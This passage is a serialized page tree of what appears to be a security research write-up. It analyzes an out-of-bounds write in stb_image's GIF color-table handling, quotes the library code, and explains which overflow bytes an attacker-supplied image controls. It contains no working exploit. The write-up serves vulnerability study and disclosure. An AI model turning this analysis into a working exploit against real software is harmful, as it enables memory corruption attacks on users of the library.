}\n",[148670],{"type":21,"tag":66,"props":148671,"children":148672},{"__ignoreMap":7},[148673,148712,148719,148726,148733,148776,148807,148851,148858,148926,148966,149011,149050,149089,149128],{"type":21,"tag":85,"props":148674,"children":148675},{"class":87,"line":88},[148676,148680,148684,148688,148692,148696,148700,148704,148708],{"type":21,"tag":85,"props":148677,"children":148678},{"style":102},[148679],{"type":26,"value":51500},{"type":21,"tag":85,"props":148681,"children":148682},{"style":102},[148683],{"type":26,"value":51505},{"type":21,"tag":85,"props":148685,"children":148686},{"style":1021},[148687],{"type":26,"value":148284},{"type":21,"tag":85,"props":148689,"children":148690},{"style":114},[148691],{"type":26,"value":148289},{"type":21,"tag":85,"props":148693,"children":148694},{"style":169},[148695],{"type":26,"value":3052},{"type":21,"tag":85,"props":148697,"children":148698},{"style":120},[148699],{"type":26,"value":109760},{"type":21,"tag":85,"props":148701,"children":148702},{"style":114},[148703],{"type":26,"value":148302},{"type":21,"tag":85,"props":148705,"children":148706},{"style":120},[148707],{"type":26,"value":66},{"type":21,"tag":85,"props":148709,"children":148710},{"style":114},[148711],{"type":26,"value":2485},{"type":21,"tag":85,"props":148713,"children":148714},{"class":87,"line":98},[148715],{"type":21,"tag":85,"props":148716,"children":148717},{"style":114},[148718],{"type":26,"value":11296},{"type":21,"tag":85,"props":148720,"children":148721},{"class":87,"line":151},[148722],{"type":21,"tag":85,"props":148723,"children":148724},{"style":114},[148725],{"type":26,"value":148371},{"type":21,"tag":85,"props":148727,"children":148728},{"class":87,"line":160},[148729],{"type":21,"tag":85,"props":148730,"children":148731},{"emptyLinePlaceholder":16},[148732],{"type":26,"value":703},{"type":21,"tag":85,"props":148734,"children":148735},{"class":87,"line":185},[148736,148740,148744,148748,148752,148756,148760,148764,148768,148772],{"type":21,"tag":85,"props":148737,"children":148738},{"style":114},[148739],{"type":26,"value":148447},{"type":21,"tag":85,"props":148741,"children":148742},{"style":169},[148743],{"type":26,"value":741},{"type":21,"tag":85,"props":148745,"children":148746},{"style":120},[148747],{"type":26,"value":148411},{"type":21,"tag":85,"props":148749,"children":148750},{"style":114},[148751],{"type":26,"value":14175},{"type":21,"tag":85,"props":148753,"children":148754},{"style":120},[148755],{"type":26,"value":148464},{"type":21,"tag":85,"props":148757,"children":148758},{"style":169},[148759],{"type":26,"value":3274},{"type":21,"tag":85,"props":148761,"children":148762},{"style":120},[148763],{"type":26,"value":148411},{"type":21,"tag":85,"props":148765,"children":148766},{"style":114},[148767],{"type":26,"value":14175},{"type":21,"tag":85,"props":148769,"children":148770},{"style":120},[148771],{"type":26,"value":148402},{"type":21,"tag":85,"props":148773,"children":148774},{"style":114},[148775],{"type":26,"value":148485},{"type":21,"tag":85,"props":148777,"children":148778},{"class":87,"line":501},[148779,148783,148787,148791,148795,148799,148803],{"type":21,"tag":85,"props":148780,"children":148781},{"style":114},[148782],{"type":26,"value":148493},{"type":21,"tag":85,"props":148784,"children":148785},{"style":169},[148786],{"type":26,"value":741},{"type":21,"tag":85,"props":148788,"children":148789},{"style":169},[148790],{"type":26,"value":1487},{"type":21,"tag":85,"props":148792,"children":148793},{"style":120},[148794],{"type":26,"value":109760},{"type":21,"tag":85,"props":148796,"children":148797},{"style":114},[148798],{"type":26,"value":14175},{"type":21,"tag":85,"props":148800,"children":148801},{"style":120},[148802],{"type":26,"value":119183},{"type":21,"tag":85,"props":148804,"children":148805},{"style":114},[148806],{"type":26,"value":148518},{"type":21,"tag":85,"props":148808,"children":148809},{"class":87,"line":697},[148810,148814,148818,148822,148826,148830,148834,148838,148842,148846],{"type":21,"tag":85,"props":148811,"children":148812},{"style":120},[148813],{"type":26,"value":148526},{"type":21,"tag":85,"props":148815,"children":148816},{"style":114},[148817],{"type":26,"value":14175},{"type":21,"tag":85,"props":148819,"children":148820},{"style":120},[148821],{"type":26,"value":148535},{"type":21,"tag":85,"props":148823,"children":148824},{"style":114},[148825],{"type":26,"value":148540},{"type":21,"tag":85,"props":148827,"children":148828},{"style":169},[148829],{"type":26,"value":5349},{"type":21,"tag":85,"props":148831,"children":148832},{"style":2285},[148833],{"type":26,"value":12162},{"type":21,"tag":85,"props":148835,"children":148836},{"style":114},[148837],{"type":26,"value":3026},{"type":21,"tag":85,"props":148839,"children":148840},{"style":169},[148841],{"type":26,"value":741},{"type":21,"tag":85,"props":148843,"children":148844},{"style":2285},[148845],{"type":26,"value":3279},{"type":21,"tag":85,"props":148847,"children":148848},{"style":114},[148849],{"type":26,"value":148850},";  \n",{"type":21,"tag":85,"props":148852,"children":148853},{"class":87,"line":706},[148854],{"type":21,"tag":85,"props":148855,"children":148856},{"emptyLinePlaceholder":16},[148857],{"type":26,"value":703},{"type":21,"tag":85,"props":148859,"children":148860},{"class":87,"line":1100},[148861,148866,148870,148874,148878,148882,148887,148891,148895,148899,148904,148909,148914,148918,148922],{"type":21,"tag":85,"props":148862,"children":148863},{"style":114},[148864],{"type":26,"value":148865},"   c ",{"type":21,"tag":85,"props":148867,"children":148868},{"style":169},[148869],{"type":26,"value":741},{"type":21,"tag":85,"props":148871,"children":148872},{"style":169},[148873],{"type":26,"value":1487},{"type":21,"tag":85,"props":148875,"children":148876},{"style":120},[148877],{"type":26,"value":109760},{"type":21,"tag":85,"props":148879,"children":148880},{"style":114},[148881],{"type":26,"value":14175},{"type":21,"tag":85,"props":148883,"children":148884},{"style":120},[148885],{"type":26,"value":148886},"color_table",{"type":21,"tag":85,"props":148888,"children":148889},{"style":114},[148890],{"type":26,"value":3016},{"type":21,"tag":85,"props":148892,"children":148893},{"style":120},[148894],{"type":26,"value":109760},{"type":21,"tag":85,"props":148896,"children":148897},{"style":114},[148898],{"type":26,"value":14175},{"type":21,"tag":85,"props":148900,"children":148901},{"style":120},[148902],{"type":26,"value":148903},"codes",{"type":21,"tag":85,"props":148905,"children":148906},{"style":114},[148907],{"type":26,"value":148908},"[code].",{"type":21,"tag":85,"props":148910,"children":148911},{"style":120},[148912],{"type":26,"value":148913},"suffix",{"type":21,"tag":85,"props":148915,"children":148916},{"style":169},[148917],{"type":26,"value":10231},{"type":21,"tag":85,"props":148919,"children":148920},{"style":2285},[148921],{"type":26,"value":12162},{"type":21,"tag":85,"props":148923,"children":148924},{"style":114},[148925],{"type":26,"value":32019},{"type":21,"tag":85,"props":148927,"children":148928},{"class":87,"line":1339},[148929,148933,148937,148941,148945,148949,148953,148957,148962],{"type":21,"tag":85,"props":148930,"children":148931},{"style":2885},[148932],{"type":26,"value":53100},{"type":21,"tag":85,"props":148934,"children":148935},{"style":114},[148936],{"type":26,"value":717},{"type":21,"tag":85,"props":148938,"children":148939},{"style":120},[148940],{"type":26,"value":3918},{"type":21,"tag":85,"props":148942,"children":148943},{"style":114},[148944],{"type":26,"value":3016},{"type":21,"tag":85,"props":148946,"children":148947},{"style":2285},[148948],{"type":26,"value":17718},{"type":21,"tag":85,"props":148950,"children":148951},{"style":114},[148952],{"type":26,"value":3026},{"type":21,"tag":85,"props":148954,"children":148955},{"style":169},[148956],{"type":26,"value":10877},{"type":21,"tag":85,"props":148958,"children":148959},{"style":2285},[148960],{"type":26,"value":148961}," 128",{"type":21,"tag":85,"props":148963,"children":148964},{"style":114},[148965],{"type":26,"value":15222},{"type":21,"tag":85,"props":148967,"children":148968},{"class":87,"line":1348},[148969,148974,148978,148982,148986,148990,148994,148998,149002,149006],{"type":21,"tag":85,"props":148970,"children":148971},{"style":120},[148972],{"type":26,"value":148973},"      p",{"type":21,"tag":85,"props":148975,"children":148976},{"style":114},[148977],{"type":26,"value":3016},{"type":21,"tag":85,"props":148979,"children":148980},{"style":2285},[148981],{"type":26,"value":4789},{"type":21,"tag":85,"props":148983,"children":148984},{"style":114},[148985],{"type":26,"value":3026},{"type":21,"tag":85,"props":148987,"children":148988},{"style":169},[148989],{"type":26,"value":741},{"type":21,"tag":85,"props":148991,"children":148992},{"style":120},[148993],{"type":26,"value":37893},{"type":21,"tag":85,"props":148995,"children":148996},{"style":114},[148997],{"type":26,"value":3016},{"type":21,"tag":85,"props":148999,"children":149000},{"style":2285},[149001],{"type":26,"value":3895},{"type":21,"tag":85,"props":149003,"children":149004},{"style":114},[149005],{"type":26,"value":56368},{"type":21,"tag":85,"props":149007,"children":149008},{"style":92},[149009],{"type":26,"value":149010},"        // OOB write\n",{"type":21,"tag":85,"props":149012,"children":149013},{"class":87,"line":1386},[149014,149018,149022,149026,149030,149034,149038,149042,149046],{"type":21,"tag":85,"props":149015,"children":149016},{"style":120},[149017],{"type":26,"value":148973},{"type":21,"tag":85,"props":149019,"children":149020},{"style":114},[149021],{"type":26,"value":3016},{"type":21,"tag":85,"props":149023,"children":149024},{"style":2285},[149025],{"type":26,"value":4779},{"type":21,"tag":85,"props":149027,"children":149028},{"style":114},[149029],{"type":26,"value":3026},{"type":21,"tag":85,"props":149031,"children":149032},{"style":169},[149033],{"type":26,"value":741},{"type":21,"tag":85,"props":149035,"children":149036},{"style":120},[149037],{"type":26,"value":37893},{"type":21,"tag":85,"props":149039,"children":149040},{"style":114},[149041],{"type":26,"value":3016},{"type":21,"tag":85,"props":149043,"children":149044},{"style":2285},[149045],{"type":26,"value":4779},{"type":21,"tag":85,"props":149047,"children":149048},{"style":114},[149049],{"type":26,"value":32019},{"type":21,"tag":85,"props":149051,"children":149052},{"class":87,"line":1394},[149053,149057,149061,149065,149069,149073,149077,149081,149085],{"type":21,"tag":85,"props":149054,"children":149055},{"style":120},[149056],{"type":26,"value":148973},{"type":21,"tag":85,"props":149058,"children":149059},{"style":114},[149060],{"type":26,"value":3016},{"type":21,"tag":85,"props":149062,"children":149063},{"style":2285},[149064],{"type":26,"value":3895},{"type":21,"tag":85,"props":149066,"children":149067},{"style":114},[149068],{"type":26,"value":3026},{"type":21,"tag":85,"props":149070,"children":149071},{"style":169},[149072],{"type":26,"value":741},{"type":21,"tag":85,"props":149074,"children":149075},{"style":120},[149076],{"type":26,"value":37893},{"type":21,"tag":85,"props":149078,"children":149079},{"style":114},[149080],{"type":26,"value":3016},{"type":21,"tag":85,"props":149082,"children":149083},{"style":2285},[149084],{"type":26,"value":4789},{"type":21,"tag":85,"props":149086,"children":149087},{"style":114},[149088],{"type":26,"value":32019},{"type":21,"tag":85,"props":149090,"children":149091},{"class":87,"line":1402},[149092,149096,149100,149104,149108,149112,149116,149120,149124],{"type":21,"tag":85,"props":149093,"children":149094},{"style":120},[149095],{"type":26,"value":148973},{"type":21,"tag":85,"props":149097,"children":149098},{"style":114},[149099],{"type":26,"value":3016},{"type":21,"tag":85,"props":149101,"children":149102},{"style":2285},[149103],{"type":26,"value":17718},{"type":21,"tag":85,"props":149105,"children":149106},{"style":114},[149107],{"type":26,"value":3026},{"type":21,"tag":85,"props":149109,"children":149110},{"style":169},[149111],{"type":26,"value":741},{"type":21,"tag":85,"props":149113,"children":149114},{"style":120},[149115],{"type":26,"value":37893},{"type":21,"tag":85,"props":149117,"children":149118},{"style":114},[149119],{"type":26,"value":3016},{"type":21,"tag":85,"props":149121,"children":149122},{"style":2285},[149123],{"type":26,"value":17718},{"type":21,"tag":85,"props":149125,"children":149126},{"style":114},[149127],{"type":26,"value":32019},{"type":21,"tag":85,"props":149129,"children":149130},{"class":87,"line":3145},[149131],{"type":21,"tag":85,"props":149132,"children":149133},{"style":114},[149134],{"type":26,"value":35195},{"type":21,"tag":22,"props":149136,"children":149137},{},[149138,149140,149145,149147,149152],{"type":26,"value":149139},"This confirms ",{"type":21,"tag":66,"props":149141,"children":149143},{"className":149142},[],[149144],{"type":26,"value":76979},{"type":26,"value":149146}," is OOB for ",{"type":21,"tag":66,"props":149148,"children":149150},{"className":149149},[],[149151],{"type":26,"value":148630},{"type":26,"value":149153}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":21,"tag":22,"props":149155,"children":149156},{},[149157,149159,149165,149167,149174],{"type":26,"value":149158},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":21,"tag":66,"props":149160,"children":149162},{"className":149161},[],[149163],{"type":26,"value":149164},"g->color_table",{"type":26,"value":149166}," is populated by ",{"type":21,"tag":335,"props":149168,"children":149171},{"href":149169,"rel":149170},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[339],[149172],{"type":26,"value":149173},"stbi__gif_parse_colortable",{"type":26,"value":172},{"type":21,"tag":75,"props":149176,"children":149178},{"code":149177,"language":3918,"meta":7,"className":16935,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[149179],{"type":21,"tag":66,"props":149180,"children":149181},{"__ignoreMap":7},[149182,149202,149222,149261,149277,149289,149296,149307,149350,149384,149415,149446,149503,149510],{"type":21,"tag":85,"props":149183,"children":149184},{"class":87,"line":88},[149185,149189,149193,149198],{"type":21,"tag":85,"props":149186,"children":149187},{"style":102},[149188],{"type":26,"value":51500},{"type":21,"tag":85,"props":149190,"children":149191},{"style":102},[149192],{"type":26,"value":51505},{"type":21,"tag":85,"props":149194,"children":149195},{"style":1021},[149196],{"type":26,"value":149197}," stbi__gif_parse_colortable",{"type":21,"tag":85,"props":149199,"children":149200},{"style":114},[149201],{"type":26,"value":1029},{"type":21,"tag":85,"props":149203,"children":149204},{"class":87,"line":98},[149205,149210,149214,149218],{"type":21,"tag":85,"props":149206,"children":149207},{"style":114},[149208],{"type":26,"value":149209},"    stbi__context ",{"type":21,"tag":85,"props":149211,"children":149212},{"style":169},[149213],{"type":26,"value":3052},{"type":21,"tag":85,"props":149215,"children":149216},{"style":120},[149217],{"type":26,"value":11067},{"type":21,"tag":85,"props":149219,"children":149220},{"style":114},[149221],{"type":26,"value":182},{"type":21,"tag":85,"props":149223,"children":149224},{"class":87,"line":151},[149225,149230,149235,149239,149243,149247,149251,149256],{"type":21,"tag":85,"props":149226,"children":149227},{"style":114},[149228],{"type":26,"value":149229},"    stbi_uc ",{"type":21,"tag":85,"props":149231,"children":149232},{"style":120},[149233],{"type":26,"value":149234},"pal",{"type":21,"tag":85,"props":149236,"children":149237},{"style":114},[149238],{"type":26,"value":3016},{"type":21,"tag":85,"props":149240,"children":149241},{"style":2285},[149242],{"type":26,"value":93757},{"type":21,"tag":85,"props":149244,"children":149245},{"style":114},[149246],{"type":26,"value":49413},{"type":21,"tag":85,"props":149248,"children":149249},{"style":2285},[149250],{"type":26,"value":17951},{"type":21,"tag":85,"props":149252,"children":149253},{"style":114},[149254],{"type":26,"value":149255},"],",{"type":21,"tag":85,"props":149257,"children":149258},{"style":92},[149259],{"type":26,"value":149260},"    // g->color_table\n",{"type":21,"tag":85,"props":149262,"children":149263},{"class":87,"line":160},[149264,149268,149273],{"type":21,"tag":85,"props":149265,"children":149266},{"style":102},[149267],{"type":26,"value":19503},{"type":21,"tag":85,"props":149269,"children":149270},{"style":120},[149271],{"type":26,"value":149272}," num_entries",{"type":21,"tag":85,"props":149274,"children":149275},{"style":114},[149276],{"type":26,"value":182},{"type":21,"tag":85,"props":149278,"children":149279},{"class":87,"line":185},[149280,149284],{"type":21,"tag":85,"props":149281,"children":149282},{"style":102},[149283],{"type":26,"value":19503},{"type":21,"tag":85,"props":149285,"children":149286},{"style":114},[149287],{"type":26,"value":149288}," transp\n",{"type":21,"tag":85,"props":149290,"children":149291},{"class":87,"line":501},[149292],{"type":21,"tag":85,"props":149293,"children":149294},{"style":114},[149295],{"type":26,"value":15222},{"type":21,"tag":85,"props":149297,"children":149298},{"class":87,"line":697},[149299,149303],{"type":21,"tag":85,"props":149300,"children":149301},{"style":102},[149302],{"type":26,"value":148351},{"type":21,"tag":85,"props":149304,"children":149305},{"style":114},[149306],{"type":26,"value":58421},{"type":21,"tag":85,"props":149308,"children":149309},{"class":87,"line":706},[149310,149315,149320,149324,149328,149332,149336,149341,149345],{"type":21,"tag":85,"props":149311,"children":149312},{"style":2885},[149313],{"type":26,"value":149314},"   for",{"type":21,"tag":85,"props":149316,"children":149317},{"style":114},[149318],{"type":26,"value":149319}," (i",{"type":21,"tag":85,"props":149321,"children":149322},{"style":169},[149323],{"type":26,"value":741},{"type":21,"tag":85,"props":149325,"children":149326},{"style":2285},[149327],{"type":26,"value":4789},{"type":21,"tag":85,"props":149329,"children":149330},{"style":114},[149331],{"type":26,"value":51689},{"type":21,"tag":85,"props":149333,"children":149334},{"style":169},[149335],{"type":26,"value":117},{"type":21,"tag":85,"props":149337,"children":149338},{"style":114},[149339],{"type":26,"value":149340}," num_entries; ",{"type":21,"tag":85,"props":149342,"children":149343},{"style":169},[149344],{"type":26,"value":51725},{"type":21,"tag":85,"props":149346,"children":149347},{"style":114},[149348],{"type":26,"value":149349},"i) {\n",{"type":21,"tag":85,"props":149351,"children":149352},{"class":87,"line":1100},[149353,149358,149362,149366,149370,149374,149379],{"type":21,"tag":85,"props":149354,"children":149355},{"style":120},[149356],{"type":26,"value":149357},"      pal",{"type":21,"tag":85,"props":149359,"children":149360},{"style":114},[149361],{"type":26,"value":61112},{"type":21,"tag":85,"props":149363,"children":149364},{"style":2285},[149365],{"type":26,"value":3895},{"type":21,"tag":85,"props":149367,"children":149368},{"style":114},[149369],{"type":26,"value":3026},{"type":21,"tag":85,"props":149371,"children":149372},{"style":169},[149373],{"type":26,"value":741},{"type":21,"tag":85,"props":149375,"children":149376},{"style":1021},[149377],{"type":26,"value":149378}," stbi__get8",{"type":21,"tag":85,"props":149380,"children":149381},{"style":114},[149382],{"type":26,"value":149383},"(s);\n",{"type":21,"tag":85,"props":149385,"children":149386},{"class":87,"line":1339},[149387,149391,149395,149399,149403,149407,149411],{"type":21,"tag":85,"props":149388,"children":149389},{"style":120},[149390],{"type":26,"value":149357},{"type":21,"tag":85,"props":149392,"children":149393},{"style":114},[149394],{"type":26,"value":61112},{"type":21,"tag":85,"props":149396,"children":149397},{"style":2285},[149398],{"type":26,"value":4779},{"type":21,"tag":85,"props":149400,"children":149401},{"style":114},[149402],{"type":26,"value":3026},{"type":21,"tag":85,"props":149404,"children":149405},{"style":169},[149406],{"type":26,"value":741},{"type":21,"tag":85,"props":149408,"children":149409},{"style":1021},[149410],{"type":26,"value":149378},{"type":21,"tag":85,"props":149412,"children":149413},{"style":114},[149414],{"type":26,"value":149383},{"type":21,"tag":85,"props":149416,"children":149417},{"class":87,"line":1348},[149418,149422,149426,149430,149434,149438,149442],{"type":21,"tag":85,"props":149419,"children":149420},{"style":120},[149421],{"type":26,"value":149357},{"type":21,"tag":85,"props":149423,"children":149424},{"style":114},[149425],{"type":26,"value":61112},{"type":21,"tag":85,"props":149427,"children":149428},{"style":2285},[149429],{"type":26,"value":4789},{"type":21,"tag":85,"props":149431,"children":149432},{"style":114},[149433],{"type":26,"value":3026},{"type":21,"tag":85,"props":149435,"children":149436},{"style":169},[149437],{"type":26,"value":741},{"type":21,"tag":85,"props":149439,"children":149440},{"style":1021},[149441],{"type":26,"value":149378},{"type":21,"tag":85,"props":149443,"children":149444},{"style":114},[149445],{"type":26,"value":149383},{"type":21,"tag":85,"props":149447,"children":149448},{"class":87,"line":1386},[149449,149453,149457,149461,149465,149469,149474,149478,149482,149486,149490,149494,149499],{"type":21,"tag":85,"props":149450,"children":149451},{"style":120},[149452],{"type":26,"value":149357},{"type":21,"tag":85,"props":149454,"children":149455},{"style":114},[149456],{"type":26,"value":61112},{"type":21,"tag":85,"props":149458,"children":149459},{"style":2285},[149460],{"type":26,"value":17718},{"type":21,"tag":85,"props":149462,"children":149463},{"style":114},[149464],{"type":26,"value":3026},{"type":21,"tag":85,"props":149466,"children":149467},{"style":169},[149468],{"type":26,"value":741},{"type":21,"tag":85,"props":149470,"children":149471},{"style":114},[149472],{"type":26,"value":149473}," transp ",{"type":21,"tag":85,"props":149475,"children":149476},{"style":169},[149477],{"type":26,"value":2936},{"type":21,"tag":85,"props":149479,"children":149480},{"style":114},[149481],{"type":26,"value":55000},{"type":21,"tag":85,"props":149483,"children":149484},{"style":169},[149485],{"type":26,"value":3927},{"type":21,"tag":85,"props":149487,"children":149488},{"style":2285},[149489],{"type":26,"value":2830},{"type":21,"tag":85,"props":149491,"children":149492},{"style":169},[149493],{"type":26,"value":35563},{"type":21,"tag":85,"props":149495,"children":149496},{"style":2285},[149497],{"type":26,"value":149498}," 255",{"type":21,"tag":85,"props":149500,"children":149501},{"style":114},[149502],{"type":26,"value":2535},{"type":21,"tag":85,"props":149504,"children":149505},{"class":87,"line":1394},[149506],{"type":21,"tag":85,"props":149507,"children":149508},{"style":114},[149509],{"type":26,"value":35195},{"type":21,"tag":85,"props":149511,"children":149512},{"class":87,"line":1402},[149513],{"type":21,"tag":85,"props":149514,"children":149515},{"style":114},[149516],{"type":26,"value":2671},{"type":21,"tag":22,"props":149518,"children":149519},{},[149520,149522,149527,149528,149533,149535,149540],{"type":26,"value":149521},"The first three bytes are read from the input image, while the last byte can be either ",{"type":21,"tag":66,"props":149523,"children":149525},{"className":149524},[],[149526],{"type":26,"value":4789},{"type":26,"value":13551},{"type":21,"tag":66,"props":149529,"children":149531},{"className":149530},[],[149532],{"type":26,"value":113805},{"type":26,"value":149534},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":21,"tag":66,"props":149536,"children":149538},{"className":149537},[],[149539],{"type":26,"value":30291},{"type":26,"value":172},{"type":21,"tag":75,"props":149542,"children":149544},{"code":149543,"language":3918,"meta":7,"className":16935,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[149545],{"type":21,"tag":66,"props":149546,"children":149547},{"__ignoreMap":7},[149548,149611,149650,149689,149728,149767,149806],{"type":21,"tag":85,"props":149549,"children":149550},{"class":87,"line":88},[149551,149555,149559,149563,149567,149571,149575,149579,149583,149587,149591,149595,149599,149603,149607],{"type":21,"tag":85,"props":149552,"children":149553},{"style":114},[149554],{"type":26,"value":148865},{"type":21,"tag":85,"props":149556,"children":149557},{"style":169},[149558],{"type":26,"value":741},{"type":21,"tag":85,"props":149560,"children":149561},{"style":169},[149562],{"type":26,"value":1487},{"type":21,"tag":85,"props":149564,"children":149565},{"style":114},[149566],{"type":26,"value":109760},{"type":21,"tag":85,"props":149568,"children":149569},{"style":169},[149570],{"type":26,"value":14175},{"type":21,"tag":85,"props":149572,"children":149573},{"style":120},[149574],{"type":26,"value":148886},{"type":21,"tag":85,"props":149576,"children":149577},{"style":114},[149578],{"type":26,"value":3016},{"type":21,"tag":85,"props":149580,"children":149581},{"style":120},[149582],{"type":26,"value":109760},{"type":21,"tag":85,"props":149584,"children":149585},{"style":114},[149586],{"type":26,"value":14175},{"type":21,"tag":85,"props":149588,"children":149589},{"style":120},[149590],{"type":26,"value":148903},{"type":21,"tag":85,"props":149592,"children":149593},{"style":114},[149594],{"type":26,"value":148908},{"type":21,"tag":85,"props":149596,"children":149597},{"style":120},[149598],{"type":26,"value":148913},{"type":21,"tag":85,"props":149600,"children":149601},{"style":169},[149602],{"type":26,"value":10231},{"type":21,"tag":85,"props":149604,"children":149605},{"style":2285},[149606],{"type":26,"value":12162},{"type":21,"tag":85,"props":149608,"children":149609},{"style":114},[149610],{"type":26,"value":32019},{"type":21,"tag":85,"props":149612,"children":149613},{"class":87,"line":98},[149614,149618,149622,149626,149630,149634,149638,149642,149646],{"type":21,"tag":85,"props":149615,"children":149616},{"style":2885},[149617],{"type":26,"value":53100},{"type":21,"tag":85,"props":149619,"children":149620},{"style":114},[149621],{"type":26,"value":717},{"type":21,"tag":85,"props":149623,"children":149624},{"style":120},[149625],{"type":26,"value":3918},{"type":21,"tag":85,"props":149627,"children":149628},{"style":114},[149629],{"type":26,"value":3016},{"type":21,"tag":85,"props":149631,"children":149632},{"style":2285},[149633],{"type":26,"value":17718},{"type":21,"tag":85,"props":149635,"children":149636},{"style":114},[149637],{"type":26,"value":3026},{"type":21,"tag":85,"props":149639,"children":149640},{"style":169},[149641],{"type":26,"value":10877},{"type":21,"tag":85,"props":149643,"children":149644},{"style":2285},[149645],{"type":26,"value":148961},{"type":21,"tag":85,"props":149647,"children":149648},{"style":114},[149649],{"type":26,"value":15222},{"type":21,"tag":85,"props":149651,"children":149652},{"class":87,"line":151},[149653,149657,149661,149665,149669,149673,149677,149681,149685],{"type":21,"tag":85,"props":149654,"children":149655},{"style":120},[149656],{"type":26,"value":148973},{"type":21,"tag":85,"props":149658,"children":149659},{"style":114},[149660],{"type":26,"value":3016},{"type":21,"tag":85,"props":149662,"children":149663},{"style":2285},[149664],{"type":26,"value":4789},{"type":21,"tag":85,"props":149666,"children":149667},{"style":114},[149668],{"type":26,"value":3026},{"type":21,"tag":85,"props":149670,"children":149671},{"style":169},[149672],{"type":26,"value":741},{"type":21,"tag":85,"props":149674,"children":149675},{"style":120},[149676],{"type":26,"value":37893},{"type":21,"tag":85,"props":149678,"children":149679},{"style":114},[149680],{"type":26,"value":3016},{"type":21,"tag":85,"props":149682,"children":149683},{"style":2285},[149684],{"type":26,"value":3895},{"type":21,"tag":85,"props":149686,"children":149687},{"style":114},[149688],{"type":26,"value":32019},{"type":21,"tag":85,"props":149690,"children":149691},{"class":87,"line":160},[149692,149696,149700,149704,149708,149712,149716,149720,149724],{"type":21,"tag":85,"props":149693,"children":149694},{"style":120},[149695],{"type":26,"value":148973},{"type":21,"tag":85,"props":149697,"children":149698},{"style":114},[149699],{"type":26,"value":3016},{"type":21,"tag":85,"props":149701,"children":149702},{"style":2285},[149703],{"type":26,"value":4779},{"type":21,"tag":85,"props":149705,"children":149706},{"style":114},[149707],{"type":26,"value":3026},{"type":21,"tag":85,"props":149709,"children":149710},{"style":169},[149711],{"type":26,"value":741},{"type":21,"tag":85,"props":149713,"children":149714},{"style":120},[149715],{"type":26,"value":37893},{"type":21,"tag":85,"props":149717,"children":149718},{"style":114},[149719],{"type":26,"value":3016},{"type":21,"tag":85,"props":149721,"children":149722},{"style":2285},[149723],{"type":26,"value":4779},{"type":21,"tag":85,"props":149725,"children":149726},{"style":114},[149727],{"type":26,"value":32019},{"type":21,"tag":85,"props":149729,"children":149730},{"class":87,"line":185},[149731,149735,149739,149743,149747,149751,149755,149759,149763],{"type":21,"tag":85,"props":149732,"children":149733},{"style":120},[149734],{"type":26,"value":148973},{"type":21,"tag":85,"props":149736,"children":149737},{"style":114},[149738],{"type":26,"value":3016},{"type":21,"tag":85,"props":149740,"children":149741},{"style":2285},[149742],{"type":26,"value":3895},{"type":21,"tag":85,"props":149744,"children":149745},{"style":114},[149746],{"type":26,"value":3026},{"type":21,"tag":85,"props":149748,"children":149749},{"style":169},[149750],{"type":26,"value":741},{"type":21,"tag":85,"props":149752,"children":149753},{"style":120},[149754],{"type":26,"value":37893},{"type":21,"tag":85,"props":149756,"children":149757},{"style":114},[149758],{"type":26,"value":3016},{"type":21,"tag":85,"props":149760,"children":149761},{"style":2285},[149762],{"type":26,"value":4789},{"type":21,"tag":85,"props":149764,"children":149765},{"style":114},[149766],{"type":26,"value":32019},{"type":21,"tag":85,"props":149768,"children":149769},{"class":87,"line":501},[149770,149774,149778,149782,149786,149790,149794,149798,149802],{"type":21,"tag":85,"props":149771,"children":149772},{"style":120},[149773],{"type":26,"value":148973},{"type":21,"tag":85,"props":149775,"children":149776},{"style":114},[149777],{"type":26,"value":3016},{"type":21,"tag":85,"props":149779,"children":149780},{"style":2285},[149781],{"type":26,"value":17718},{"type":21,"tag":85,"props":149783,"children":149784},{"style":114},[149785],{"type":26,"value":3026},{"type":21,"tag":85,"props":149787,"children":149788},{"style":169},[149789],{"type":26,"value":741},{"type":21,"tag":85,"props":149791,"children":149792},{"style":120},[149793],{"type":26,"value":37893},{"type":21,"tag":85,"props":149795,"children":149796},{"style":114},[149797],{"type":26,"value":3016},{"type":21,"tag":85,"props":149799,"children":149800},{"style":2285},[149801],{"type":26,"value":17718},{"type":21,"tag":85,"props":149803,"children":149804},{"style":114},[149805],{"type":26,"value":32019},{"type":21,"tag":85,"props":149807,"children":149808},{"class":87,"line":697},[149809],{"type":21,"tag":85,"props":149810,"children":149811},{"style":114},[149812],{"type":26,"value":35195},{"type":21,"tag":22,"props":149814,"children":149815},{},[149816,149817,149822,149824,149829,149831,149836],{"type":26,"value":24455},{"type":21,"tag":66,"props":149818,"children":149820},{"className":149819},[],[149821],{"type":26,"value":149173},{"type":26,"value":149823}," has to set the last byte to ",{"type":21,"tag":66,"props":149825,"children":149827},{"className":149826},[],[149828],{"type":26,"value":113805},{"type":26,"value":149830}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":21,"tag":66,"props":149832,"children":149834},{"className":149833},[],[149835],{"type":26,"value":113805},{"type":26,"value":73},{"type":21,"tag":22,"props":149838,"children":149839},{},[149840,149842,149847,149849,149855,149856,149862],{"type":26,"value":149841},"In the code we can see that size of the ",{"type":21,"tag":66,"props":149843,"children":149845},{"className":149844},[],[149846],{"type":26,"value":148630},{"type":26,"value":149848}," allocation is controlled through ",{"type":21,"tag":66,"props":149850,"children":149852},{"className":149851},[],[149853],{"type":26,"value":149854},"g->w",{"type":26,"value":11408},{"type":21,"tag":66,"props":149857,"children":149859},{"className":149858},[],[149860],{"type":26,"value":149861},"g->h",{"type":26,"value":149863}," values, both of which are read from the input file 